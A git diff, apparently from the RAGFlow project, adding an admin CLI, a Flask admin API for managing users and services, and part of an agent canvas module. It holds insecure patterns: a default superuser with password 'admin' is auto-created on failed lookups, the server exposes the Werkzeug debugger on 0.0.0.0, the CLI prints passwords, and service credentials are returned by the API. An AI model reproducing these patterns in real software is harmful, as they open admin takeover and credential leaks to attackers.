requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + res_data = res_json['data'] + if res_data['alive']: + print(f"Service {res_data['service_name']} is alive. Detail:") + if isinstance(res_data['message'], str): + print(res_data['message']) + else: + self._print_table_simple(res_data['message']) + else: + print(f"Service {res_data['service_name']} is down. Detail: {res_data['message']}") + else: + print(f"Fail to show service, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_restart_service(self, command): + service_id: int = command['number'] + print(f"Restart service {service_id}") + + def _handle_shutdown_service(self, command): + service_id: int = command['number'] + print(f"Shutdown service {service_id}") + + def _handle_startup_service(self, command): + service_id: int = command['number'] + print(f"Startup service {service_id}") + + def _handle_list_users(self, command): + print("Listing all users") + + url = f'http://{self.host}:{self.port}/api/v1/admin/users' + response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + self._print_table_simple(res_json['data']) + else: + print(f"Fail to get all users, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_show_user(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + print(f"Showing user: {username}") + url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}' + response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + self._print_table_simple(res_json['data']) + else: + print(f"Fail to get user {username}, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_drop_user(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + print(f"Drop user: {username}") + url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}' + response = requests.delete(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + print(res_json["message"]) + else: + print(f"Fail to drop user, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_alter_user(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + password_tree: Tree = command['password'] + password: str = password_tree.children[0].strip("'\"") + print(f"Alter user: {username}, password: {password}") + url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/password' + response = requests.put(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password), + json={'new_password': encrypt(password)}) + res_json = response.json() + if response.status_code == 200: + print(res_json["message"]) + else: + print(f"Fail to alter password, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_create_user(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + password_tree: Tree = command['password'] + password: str = password_tree.children[0].strip("'\"") + role: str = command['role'] + print(f"Create user: {username}, password: {password}, role: {role}") + url = f'http://{self.host}:{self.port}/api/v1/admin/users' + response = requests.post( + url, + auth=HTTPBasicAuth(self.admin_account, self.admin_password), + json={'username': username, 'password': encrypt(password), 'role': role} + ) + res_json = response.json() + if response.status_code == 200: + self._print_table_simple(res_json['data']) + else: + print(f"Fail to create user {username}, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_activate_user(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + activate_tree: Tree = command['activate_status'] + activate_status: str = activate_tree.children[0].strip("'\"") + if activate_status.lower() in ['on', 'off']: + print(f"Alter user {username} activate status, turn {activate_status.lower()}.") + url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/activate' + response = requests.put(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password), + json={'activate_status': activate_status}) + res_json = response.json() + if response.status_code == 200: + print(res_json["message"]) + else: + print(f"Fail to alter activate status, code: {res_json['code']}, message: {res_json['message']}") + else: + print(f"Unknown activate status: {activate_status}.") + + def _handle_list_datasets(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + print(f"Listing all datasets of user: {username}") + url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/datasets' + response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + self._print_table_simple(res_json['data']) + else: + print(f"Fail to get all datasets of {username}, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_list_agents(self, command): + username_tree: Tree = command['username'] + username: str = username_tree.children[0].strip("'\"") + print(f"Listing all agents of user: {username}") + url = f'http://{self.host}:{self.port}/api/v1/admin/users/{username}/agents' + response = requests.get(url, auth=HTTPBasicAuth(self.admin_account, self.admin_password)) + res_json = response.json() + if response.status_code == 200: + self._print_table_simple(res_json['data']) + else: + print(f"Fail to get all agents of {username}, code: {res_json['code']}, message: {res_json['message']}") + + def _handle_meta_command(self, command): + meta_command = command['command'] + args = command.get('args', []) + + if meta_command in ['?', 'h', 'help']: + self.show_help() + elif meta_command in ['q', 'quit', 'exit']: + print("Goodbye!") + else: + print(f"Meta command '{meta_command}' with args {args}") + + def show_help(self): + """Help info""" + help_text = """ +Commands: + LIST SERVICES + SHOW SERVICE + STARTUP SERVICE + SHUTDOWN SERVICE + RESTART SERVICE + LIST USERS + SHOW USER + DROP USER + CREATE USER + ALTER USER PASSWORD + ALTER USER ACTIVE + LIST DATASETS OF + LIST AGENTS OF + +Meta Commands: + \\?, \\h, \\help Show this help + \\q, \\quit, \\exit Quit the CLI + """ + print(help_text) + + +def main(): + import sys + + cli = AdminCLI() + + if len(sys.argv) == 1 or (len(sys.argv) > 1 and sys.argv[1] == '-'): + print(r""" + ____ ___ ______________ ___ __ _ + / __ \/ | / ____/ ____/ /___ _ __ / | ____/ /___ ___ (_)___ + / /_/ / /| |/ / __/ /_ / / __ \ | /| / / / /| |/ __ / __ `__ \/ / __ \ + / _, _/ ___ / /_/ / __/ / / /_/ / |/ |/ / / ___ / /_/ / / / / / / / / / / + /_/ |_/_/ |_\____/_/ /_/\____/|__/|__/ /_/ |_\__,_/_/ /_/ /_/_/_/ /_/ + """) + if cli.verify_admin(sys.argv): + cli.run_interactive() + else: + if cli.verify_admin(sys.argv): + cli.run_interactive() + # cli.run_single_command(sys.argv[1:]) + + +if __name__ == '__main__': + main() diff --git a/admin/admin_server.py b/admin/admin_server.py new file mode 100644 index 0000000..27ee0c7 --- /dev/null +++ b/admin/admin_server.py @@ -0,0 +1,47 @@ + +import os +import signal +import logging +import time +import threading +import traceback +from werkzeug.serving import run_simple +from flask import Flask +from routes import admin_bp +from api.utils.log_utils import init_root_logger +from api.constants import SERVICE_CONF +from api import settings +from config import load_configurations, SERVICE_CONFIGS + +stop_event = threading.Event() + +if __name__ == '__main__': + init_root_logger("admin_service") + logging.info(r""" + ____ ___ ______________ ___ __ _ + / __ \/ | / ____/ ____/ /___ _ __ / | ____/ /___ ___ (_)___ + / /_/ / /| |/ / __/ /_ / / __ \ | /| / / / /| |/ __ / __ `__ \/ / __ \ + / _, _/ ___ / /_/ / __/ / / /_/ / |/ |/ / / ___ / /_/ / / / / / / / / / / + /_/ |_/_/ |_\____/_/ /_/\____/|__/|__/ /_/ |_\__,_/_/ /_/ /_/_/_/ /_/ + """) + + app = Flask(__name__) + app.register_blueprint(admin_bp) + settings.init_settings() + SERVICE_CONFIGS.configs = load_configurations(SERVICE_CONF) + + try: + logging.info("RAGFlow Admin service start...") + run_simple( + hostname="0.0.0.0", + port=9381, + application=app, + threaded=True, + use_reloader=True, + use_debugger=True, + ) + except Exception: + traceback.print_exc() + stop_event.set() + time.sleep(1) + os.kill(os.getpid(), signal.SIGKILL) diff --git a/admin/auth.py b/admin/auth.py new file mode 100644 index 0000000..001ba59 --- /dev/null +++ b/admin/auth.py @@ -0,0 +1,57 @@ +import logging +import uuid +from functools import wraps +from flask import request, jsonify + +from api.common.exceptions import AdminException +from api.db.init_data import encode_to_base64 +from api.db.services import UserService + + +def check_admin(username: str, password: str): + users = UserService.query(email=username) + if not users: + logging.info(f"Username: {username} is not registered!") + user_info = { + "id": uuid.uuid1().hex, + "password": encode_to_base64("admin"), + "nickname": "admin", + "is_superuser": True, + "email": "admin@ragflow.io", + "creator": "system", + "status": "1", + } + if not UserService.save(**user_info): + raise AdminException("Can't init admin.", 500) + + user = UserService.query_user(username, password) + if user: + return True + else: + return False + + +def login_verify(f): + @wraps(f) + def decorated(*args, **kwargs): + auth = request.authorization + if not auth or 'username' not in auth.parameters or 'password' not in auth.parameters: + return jsonify({ + "code": 401, + "message": "Authentication required", + "data": None + }), 200 + + username = auth.parameters['username'] + password = auth.parameters['password'] + # TODO: to check the username and password from DB + if check_admin(username, password) is False: + return jsonify({ + "code": 403, + "message": "Access denied", + "data": None + }), 200 + + return f(*args, **kwargs) + + return decorated diff --git a/admin/config.py b/admin/config.py new file mode 100644 index 0000000..94147de --- /dev/null +++ b/admin/config.py @@ -0,0 +1,283 @@ +import logging +import threading +from enum import Enum + +from pydantic import BaseModel +from typing import Any +from api.utils.configs import read_config +from urllib.parse import urlparse + + +class ServiceConfigs: + def __init__(self): + self.configs = [] + self.lock = threading.Lock() + + +SERVICE_CONFIGS = ServiceConfigs + + +class ServiceType(Enum): + METADATA = "metadata" + RETRIEVAL = "retrieval" + MESSAGE_QUEUE = "message_queue" + RAGFLOW_SERVER = "ragflow_server" + TASK_EXECUTOR = "task_executor" + FILE_STORE = "file_store" + + +class BaseConfig(BaseModel): + id: int + name: str + host: str + port: int + service_type: str + detail_func_name: str + + def to_dict(self) -> dict[str, Any]: + return {'id': self.id, 'name': self.name, 'host': self.host, 'port': self.port, 'service_type': self.service_type} + + +class MetaConfig(BaseConfig): + meta_type: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['meta_type'] = self.meta_type + result['extra'] = extra_dict + return result + + +class MySQLConfig(MetaConfig): + username: str + password: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['username'] = self.username + extra_dict['password'] = self.password + result['extra'] = extra_dict + return result + + +class PostgresConfig(MetaConfig): + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + return result + + +class RetrievalConfig(BaseConfig): + retrieval_type: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['retrieval_type'] = self.retrieval_type + result['extra'] = extra_dict + return result + + +class InfinityConfig(RetrievalConfig): + db_name: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['db_name'] = self.db_name + result['extra'] = extra_dict + return result + + +class ElasticsearchConfig(RetrievalConfig): + username: str + password: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['username'] = self.username + extra_dict['password'] = self.password + result['extra'] = extra_dict + return result + + +class MessageQueueConfig(BaseConfig): + mq_type: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['mq_type'] = self.mq_type + result['extra'] = extra_dict + return result + + +class RedisConfig(MessageQueueConfig): + database: int + password: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['database'] = self.database + extra_dict['password'] = self.password + result['extra'] = extra_dict + return result + + +class RabbitMQConfig(MessageQueueConfig): + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + return result + + +class RAGFlowServerConfig(BaseConfig): + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + return result + + +class TaskExecutorConfig(BaseConfig): + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + return result + + +class FileStoreConfig(BaseConfig): + store_type: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['store_type'] = self.store_type + result['extra'] = extra_dict + return result + + +class MinioConfig(FileStoreConfig): + user: str + password: str + + def to_dict(self) -> dict[str, Any]: + result = super().to_dict() + if 'extra' not in result: + result['extra'] = dict() + extra_dict = result['extra'].copy() + extra_dict['user'] = self.user + extra_dict['password'] = self.password + result['extra'] = extra_dict + return result + + +def load_configurations(config_path: str) -> list[BaseConfig]: + raw_configs = read_config(config_path) + configurations = [] + ragflow_count = 0 + id_count = 0 + for k, v in raw_configs.items(): + match (k): + case "ragflow": + name: str = f'ragflow_{ragflow_count}' + host: str = v['host'] + http_port: int = v['http_port'] + config = RAGFlowServerConfig(id=id_count, name=name, host=host, port=http_port, + service_type="ragflow_server", detail_func_name="check_ragflow_server_alive") + configurations.append(config) + id_count += 1 + case "es": + name: str = 'elasticsearch' + url = v['hosts'] + parsed = urlparse(url) + host: str = parsed.hostname + port: int = parsed.port + username: str = v.get('username') + password: str = v.get('password') + config = ElasticsearchConfig(id=id_count, name=name, host=host, port=port, service_type="retrieval", + retrieval_type="elasticsearch", + username=username, password=password, + detail_func_name="get_es_cluster_stats") + configurations.append(config) + id_count += 1 + + case "infinity": + name: str = 'infinity' + url = v['uri'] + parts = url.split(':', 1) + host = parts[0] + port = int(parts[1]) + database: str = v.get('db_name', 'default_db') + config = InfinityConfig(id=id_count, name=name, host=host, port=port, service_type="retrieval", retrieval_type="infinity", + db_name=database, detail_func_name="get_infinity_status") + configurations.append(config) + id_count += 1 + case "minio": + name: str = 'minio' + url = v['host'] + parts = url.split(':', 1) + host = parts[0] + port = int(parts[1]) + user = v.get('user') + password = v.get('password') + config = MinioConfig(id=id_count, name=name, host=host, port=port, user=user, password=password, service_type="file_store", + store_type="minio", detail_func_name="check_minio_alive") + configurations.append(config) + id_count += 1 + case "redis": + name: str = 'redis' + url = v['host'] + parts = url.split(':', 1) + host = parts[0] + port = int(parts[1]) + password = v.get('password') + db: int = v.get('db') + config = RedisConfig(id=id_count, name=name, host=host, port=port, password=password, database=db, + service_type="message_queue", mq_type="redis", detail_func_name="get_redis_info") + configurations.append(config) + id_count += 1 + case "mysql": + name: str = 'mysql' + host: str = v.get('host') + port: int = v.get('port') + username = v.get('user') + password = v.get('password') + config = MySQLConfig(id=id_count, name=name, host=host, port=port, username=username, password=password, + service_type="meta_data", meta_type="mysql", detail_func_name="get_mysql_status") + configurations.append(config) + id_count += 1 + case "admin": + pass + case _: + logging.warning(f"Unknown configuration key: {k}") + continue + + return configurations diff --git a/admin/exceptions.py b/admin/exceptions.py new file mode 100644 index 0000000..5e3021b --- /dev/null +++ b/admin/exceptions.py @@ -0,0 +1,17 @@ +class AdminException(Exception): + def __init__(self, message, code=400): + super().__init__(message) + self.code = code + self.message = message + +class UserNotFoundError(AdminException): + def __init__(self, username): + super().__init__(f"User '{username}' not found", 404) + +class UserAlreadyExistsError(AdminException): + def __init__(self, username): + super().__init__(f"User '{username}' already exists", 409) + +class CannotDeleteAdminError(AdminException): + def __init__(self): + super().__init__("Cannot delete admin account", 403) \ No newline at end of file diff --git a/admin/models.py b/admin/models.py new file mode 100644 index 0000000..e69de29 diff --git a/admin/responses.py b/admin/responses.py new file mode 100644 index 0000000..00cee70 --- /dev/null +++ b/admin/responses.py @@ -0,0 +1,15 @@ +from flask import jsonify + +def success_response(data=None, message="Success", code = 0): + return jsonify({ + "code": code, + "message": message, + "data": data + }), 200 + +def error_response(message="Error", code=-1, data=None): + return jsonify({ + "code": code, + "message": message, + "data": data + }), 400 \ No newline at end of file diff --git a/admin/routes.py b/admin/routes.py new file mode 100644 index 0000000..a737305 --- /dev/null +++ b/admin/routes.py @@ -0,0 +1,190 @@ +from flask import Blueprint, request + +from auth import login_verify +from responses import success_response, error_response +from services import UserMgr, ServiceMgr, UserServiceMgr +from api.common.exceptions import AdminException + +admin_bp = Blueprint('admin', __name__, url_prefix='/api/v1/admin') + + +@admin_bp.route('/auth', methods=['GET']) +@login_verify +def auth_admin(): + try: + return success_response(None, "Admin is authorized", 0) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/users', methods=['GET']) +@login_verify +def list_users(): + try: + users = UserMgr.get_all_users() + return success_response(users, "Get all users", 0) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/users', methods=['POST']) +@login_verify +def create_user(): + try: + data = request.get_json() + if not data or 'username' not in data or 'password' not in data: + return error_response("Username and password are required", 400) + + username = data['username'] + password = data['password'] + role = data.get('role', 'user') + + res = UserMgr.create_user(username, password, role) + if res["success"]: + user_info = res["user_info"] + user_info.pop("password") # do not return password + return success_response(user_info, "User created successfully") + else: + return error_response("create user failed") + + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e)) + + +@admin_bp.route('/users/', methods=['DELETE']) +@login_verify +def delete_user(username): + try: + res = UserMgr.delete_user(username) + if res["success"]: + return success_response(None, res["message"]) + else: + return error_response(res["message"]) + + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/users//password', methods=['PUT']) +@login_verify +def change_password(username): + try: + data = request.get_json() + if not data or 'new_password' not in data: + return error_response("New password is required", 400) + + new_password = data['new_password'] + msg = UserMgr.update_user_password(username, new_password) + return success_response(None, msg) + + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/users//activate', methods=['PUT']) +@login_verify +def alter_user_activate_status(username): + try: + data = request.get_json() + if not data or 'activate_status' not in data: + return error_response("Activation status is required", 400) + activate_status = data['activate_status'] + msg = UserMgr.update_user_activate_status(username, activate_status) + return success_response(None, msg) + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e), 500) + +@admin_bp.route('/users/', methods=['GET']) +@login_verify +def get_user_details(username): + try: + user_details = UserMgr.get_user_details(username) + return success_response(user_details) + + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e), 500) + +@admin_bp.route('/users//datasets', methods=['GET']) +@login_verify +def get_user_datasets(username): + try: + datasets_list = UserServiceMgr.get_user_datasets(username) + return success_response(datasets_list) + + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/users//agents', methods=['GET']) +@login_verify +def get_user_agents(username): + try: + agents_list = UserServiceMgr.get_user_agents(username) + return success_response(agents_list) + + except AdminException as e: + return error_response(e.message, e.code) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/services', methods=['GET']) +@login_verify +def get_services(): + try: + services = ServiceMgr.get_all_services() + return success_response(services, "Get all services", 0) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/service_types/', methods=['GET']) +@login_verify +def get_services_by_type(service_type_str): + try: + services = ServiceMgr.get_services_by_type(service_type_str) + return success_response(services) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/services/', methods=['GET']) +@login_verify +def get_service(service_id): + try: + services = ServiceMgr.get_service_details(service_id) + return success_response(services) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/services/', methods=['DELETE']) +@login_verify +def shutdown_service(service_id): + try: + services = ServiceMgr.shutdown_service(service_id) + return success_response(services) + except Exception as e: + return error_response(str(e), 500) + + +@admin_bp.route('/services/', methods=['PUT']) +@login_verify +def restart_service(service_id): + try: + services = ServiceMgr.restart_service(service_id) + return success_response(services) + except Exception as e: + return error_response(str(e), 500) diff --git a/admin/services.py b/admin/services.py new file mode 100644 index 0000000..2c8eaaf --- /dev/null +++ b/admin/services.py @@ -0,0 +1,192 @@ +import re +from werkzeug.security import check_password_hash +from api.db import ActiveEnum +from api.db.services import UserService +from api.db.joint_services.user_account_service import create_new_user, delete_user_data +from api.db.services.canvas_service import UserCanvasService +from api.db.services.user_service import TenantService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.utils.crypt import decrypt +from api.utils import health_utils + +from api.common.exceptions import AdminException, UserAlreadyExistsError, UserNotFoundError +from config import SERVICE_CONFIGS + +class UserMgr: + @staticmethod + def get_all_users(): + users = UserService.get_all_users() + result = [] + for user in users: + result.append({'email': user.email, 'nickname': user.nickname, 'create_date': user.create_date, 'is_active': user.is_active}) + return result + + @staticmethod + def get_user_details(username): + # use email to query + users = UserService.query_user_by_email(username) + result = [] + for user in users: + result.append({ + 'email': user.email, + 'language': user.language, + 'last_login_time': user.last_login_time, + 'is_authenticated': user.is_authenticated, + 'is_active': user.is_active, + 'is_anonymous': user.is_anonymous, + 'login_channel': user.login_channel, + 'status': user.status, + 'is_superuser': user.is_superuser, + 'create_date': user.create_date, + 'update_date': user.update_date + }) + return result + + @staticmethod + def create_user(username, password, role="user") -> dict: + # Validate the email address + if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,}$", username): + raise AdminException(f"Invalid email address: {username}!") + # Check if the email address is already used + if UserService.query(email=username): + raise UserAlreadyExistsError(username) + # Construct user info data + user_info_dict = { + "email": username, + "nickname": "", # ask user to edit it manually in settings. + "password": decrypt(password), + "login_channel": "password", + "is_superuser": role == "admin", + } + return create_new_user(user_info_dict) + + @staticmethod + def delete_user(username): + # use email to delete + user_list = UserService.query_user_by_email(username) + if not user_list: + raise UserNotFoundError(username) + if len(user_list) > 1: + raise AdminException(f"Exist more than 1 user: {username}!") + usr = user_list[0] + return delete_user_data(usr.id) + + @staticmethod + def update_user_password(username, new_password) -> str: + # use email to find user. check exist and unique. + user_list = UserService.query_user_by_email(username) + if not user_list: + raise UserNotFoundError(username) + elif len(user_list) > 1: + raise AdminException(f"Exist more than 1 user: {username}!") + # check new_password different from old. + usr = user_list[0] + psw = decrypt(new_password) + if check_password_hash(usr.password, psw): + return "Same password, no need to update!" + # update password + UserService.update_user_password(usr.id, psw) + return "Password updated successfully!" + + @staticmethod + def update_user_activate_status(username, activate_status: str): + # use email to find user. check exist and unique. + user_list = UserService.query_user_by_email(username) + if not user_list: + raise UserNotFoundError(username) + elif len(user_list) > 1: + raise AdminException(f"Exist more than 1 user: {username}!") + # check activate status different from new + usr = user_list[0] + # format activate_status before handle + _activate_status = activate_status.lower() + target_status = { + 'on': ActiveEnum.ACTIVE.value, + 'off': ActiveEnum.INACTIVE.value, + }.get(_activate_status) + if not target_status: + raise AdminException(f"Invalid activate_status: {activate_status}") + if target_status == usr.is_active: + return f"User activate status is already {_activate_status}!" + # update is_active + UserService.update_user(usr.id, {"is_active": target_status}) + return f"Turn {_activate_status} user activate status successfully!" + +class UserServiceMgr: + + @staticmethod + def get_user_datasets(username): + # use email to find user. + user_list = UserService.query_user_by_email(username) + if not user_list: + raise UserNotFoundError(username) + elif len(user_list) > 1: + raise AdminException(f"Exist more than 1 user: {username}!") + # find tenants + usr = user_list[0] + tenants = TenantService.get_joined_tenants_by_user_id(usr.id) + tenant_ids = [m["tenant_id"] for m in tenants] + # filter permitted kb and owned kb + return KnowledgebaseService.get_all_kb_by_tenant_ids(tenant_ids, usr.id) + + @staticmethod + def get_user_agents(username): + # use email to find user. + user_list = UserService.query_user_by_email(username) + if not user_list: + raise UserNotFoundError(username) + elif len(user_list) > 1: + raise AdminException(f"Exist more than 1 user: {username}!") + # find tenants + usr = user_list[0] + tenants = TenantService.get_joined_tenants_by_user_id(usr.id) + tenant_ids = [m["tenant_id"] for m in tenants] + # filter permitted agents and owned agents + res = UserCanvasService.get_all_agents_by_tenant_ids(tenant_ids, usr.id) + return [{ + 'title': r['title'], + 'permission': r['permission'], + 'canvas_type': r['canvas_type'], + 'canvas_category': r['canvas_category'] + } for r in res] + +class ServiceMgr: + + @staticmethod + def get_all_services(): + result = [] + configs = SERVICE_CONFIGS.configs + for config in configs: + result.append(config.to_dict()) + return result + + @staticmethod + def get_services_by_type(service_type_str: str): + raise AdminException("get_services_by_type: not implemented") + + @staticmethod + def get_service_details(service_id: int): + service_id = int(service_id) + configs = SERVICE_CONFIGS.configs + service_config_mapping = { + c.id: { + 'name': c.name, + 'detail_func_name': c.detail_func_name + } for c in configs + } + service_info = service_config_mapping.get(service_id, {}) + if not service_info: + raise AdminException(f"Invalid service_id: {service_id}") + + detail_func = getattr(health_utils, service_info.get('detail_func_name')) + res = detail_func() + res.update({'service_name': service_info.get('name')}) + return res + + @staticmethod + def shutdown_service(service_id: int): + raise AdminException("shutdown_service: not implemented") + + @staticmethod + def restart_service(service_id: int): + raise AdminException("restart_service: not implemented") diff --git a/agent/__init__.py b/agent/__init__.py new file mode 100644 index 0000000..643f797 --- /dev/null +++ b/agent/__init__.py @@ -0,0 +1,18 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from beartype.claw import beartype_this_package +beartype_this_package() diff --git a/agent/canvas.py b/agent/canvas.py new file mode 100644 index 0000000..a22391d --- /dev/null +++ b/agent/canvas.py @@ -0,0 +1,515 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import base64 +import json +import logging +import re +import time +from concurrent.futures import ThreadPoolExecutor +from copy import deepcopy +from functools import partial +from typing import Any, Union, Tuple + +from agent.component import component_class +from agent.component.base import ComponentBase +from api.db.services.file_service import FileService +from api.utils import get_uuid, hash_str2int +from rag.prompts.generator import chunks_format +from rag.utils.redis_conn import REDIS_CONN + +class Graph: + """ + dsl = { + "components": { + "begin": { + "obj":{ + "component_name": "Begin", + "params": {}, + }, + "downstream": ["answer_0"], + "upstream": [], + }, + "retrieval_0": { + "obj": { + "component_name": "Retrieval", + "params": {} + }, + "downstream": ["generate_0"], + "upstream": ["answer_0"], + }, + "generate_0": { + "obj": { + "component_name": "Generate", + "params": {} + }, + "downstream": ["answer_0"], + "upstream": ["retrieval_0"], + } + }, + "history": [], + "path": ["begin"], + "retrieval": {"chunks": [], "doc_aggs": []}, + "globals": { + "sys.query": "", + "sys.user_id": tenant_id, + "sys.conversation_turns": 0, + "sys.files": [] + } + } + """ + + def __init__(self, dsl: str, tenant_id=None, task_id=None): + self.path = [] + self.components = {} + self.error = "" + self.dsl = json.loads(dsl) + self._tenant_id = tenant_id + self.task_id = task_id if task_id else get_uuid() + self.load() + + def load(self): + self.components = self.dsl["components"] + cpn_nms = set([]) + for k, cpn in self.components.items(): + cpn_nms.add(cpn["obj"]["component_name"]) + + for k, cpn in self.components.items(): + cpn_nms.add(cpn["obj"]["component_name"]) + param = component_class(cpn["obj"]["component_name"] + "Param")() + param.update(cpn["obj"]["params"]) + try: + param.check() + except Exception as e: + raise ValueError(self.get_component_name(k) + f": {e}") + + cpn["obj"] = component_class(cpn["obj"]["component_name"])(self, k, param) + + self.path = self.dsl["path"] + + def __str__(self): + self.dsl["path"] = self.path + self.dsl["task_id"] = self.task_id + dsl = { + "components": {} + } + for k in self.dsl.keys(): + if k in ["components"]: + continue + dsl[k] = deepcopy(self.dsl[k]) + + for k, cpn in self.components.items(): + if k not in dsl["components"]: + dsl["components"][k] = {} + for c in cpn.keys(): + if c == "obj": + dsl["components"][k][c] = json.loads(str(cpn["obj"])) + continue + dsl["components"][k][c] = deepcopy(cpn[c]) + return json.dumps(dsl, ensure_ascii=False) + + def reset(self): + self.path = [] + for k, cpn in self.components.items(): + self.components[k]["obj"].reset() + try: + REDIS_CONN.delete(f"{self.task_id}-logs") + except Exception as e: + logging.exception(e) + + def get_component_name(self, cid): + for n in self.dsl.get("graph", {}).get("nodes", []): + if cid == n["id"]: + return n["data"]["name"] + return "" + + def run(self, **kwargs): + raise NotImplementedError() + + def get_component(self, cpn_id) -> Union[None, dict[str, Any]]: + return self.components.get(cpn_id) + + def get_component_obj(self, cpn_id) -> ComponentBase: + return self.components.get(cpn_id)["obj"] + + def get_component_type(self, cpn_id) -> str: + return self.components.get(cpn_id)["obj"].component_name + + def get_component_input_form(self, cpn_id) -> dict: + return self.components.get(cpn_id)["obj"].get_input_form() + + def get_tenant_id(self): + return self._tenant_id + + def get_variable_value(self, exp: str) -> Any: + exp = exp.strip("{").strip("}").strip(" ").strip("{").strip("}") + if exp.find("@") < 0: + return self.globals[exp] + cpn_id, var_nm = exp.split("@") + cpn = self.get_component(cpn_id) + if not cpn: + raise Exception(f"Can't find variable: '{cpn_id}@{var_nm}'") + return cpn["obj"].output(var_nm) + + +class Canvas(Graph): + + def __init__(self, dsl: str, tenant_id=None, task_id=None): + self.globals = { + "sys.query": "", + "sys.user_id": tenant_id, + "sys.conversation_turns": 0, + "sys.files": [] + } + super().__init__(dsl, tenant_id, task_id) + + def load(self): + super().load() + self.history = self.dsl["history"] + if "globals" in self.dsl: + self.globals = self.dsl["globals"] + else: + self.globals = { + "sys.query": "", + "sys.user_id": "", + "sys.conversation_turns": 0, + "sys.files": [] + } + + self.retrieval = self.dsl["retrieval"] + self.memory = self.dsl.get("memory", []) + + def __str__(self): + self.dsl["history"] = self.history + self.dsl["retrieval"] = self.retrieval + self.dsl["memory"] = self.memory + return super().__str__() + + def reset(self, mem=False): + super().reset() + if not mem: + self.history = [] + 